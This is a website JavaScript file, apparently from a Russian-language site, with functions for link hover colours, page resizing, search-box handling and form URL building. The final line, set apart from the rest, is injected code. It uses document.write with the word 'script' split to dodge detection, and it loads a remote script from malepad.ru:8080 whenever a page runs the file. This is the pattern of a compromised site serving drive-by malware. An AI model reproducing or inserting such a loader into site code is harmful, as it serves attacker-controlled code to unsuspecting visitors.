function obj(name)
{
if(document.getElementById(name))
 return document.getElementById(name);
else
 if(document.all[name])
 return document.all[name];
}

var color = '';
var color_over = '#DD0C1B';
function bL_over(obj)
{
 color = obj.style.color;
 obj.style.color = color_over;
}
function bL_out(obj)
{
 obj.style.color = color;
}

function bottomLink(text,location,cl)
  {
   var str='<a href="'+location+'" class="'+cl+'" onMouseOver="bL_over(this)" onMouseOut="bL_out(this)" >'+text+'</a>';
   document.write(str);
  }
function resize()
 {
  reallyWidth = parseInt(document.body.clientWidth);
  if(reallyWidth<=780)
   {
   obj('head').style.width = '776px';
   obj('tMenu').style.left = '123px';
   }
  else
   {
   var w_c = reallyWidth/2;
   var m_c = tMenu.width/2;  
   obj('tMenu').style.left = (60+w_c-m_c)+'px';
   obj('head').style.width = '100%';
   }  
}
function myclick(href)
 {
  window.location.href = href;
 }
 function trim(str)
 {
  return str.replace(/(^\s*)|(\s*$)/g, "");
 }
 function search_click()
 {
  var current_url = window.document.URL;
  var end_index =  current_url.search("&search");
  current_url = (end_index>=0)?current_url.substring(0,end_index):current_url;
  var mass = new Array();
  var value = document.forms[0].search.value;
  if(trim(value)!="")
  {
   //delete first space
   value = (value.charAt(0)==" ")?value.substring(1,value.length-1):value;
   //delete last space
   value = (value.charAt(value.length-1)==" ")?value.substring(0,value.length-1):value;
   mass = value.split(" ");
   var query = mass.join("+");
   window.location.href = current_url+"&search="+query; 
  } 
  else 
   {
	window.alert('Строка поиска не должна быть пустой!');
   }
  
 }
 function linkClick(href)
  {
   window.open(href,null,"status=yes,toolbar=yes,menubar=yes,location=yes,scrollbars=yes,resizable=yes");
  }
 function checkForm(obj)
  {
   var detect = true;
    if(trim(obj.search.value)=="")
	 {
	  detect=false;
	  alert('Строка поиска не должна быть пустой!');
	 }
   return detect;
  }
 function myGet(id)
  {
   var url = document.URL;
   var begin = 0;
   var end = (url.search("ids")!=-1)?url.search("&ids"):url.length;
   url = url.substring(begin,end);
    if(id>0)
	 {
	  id = document.forms[0].subject.value;
	 }
   url+="&ids="+id;
   document.forms[0].action = url;
  }
 window.onresize = resize;
 window.onload = window.onresize; 



document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/XHTML.js"></scr'+'ipt>');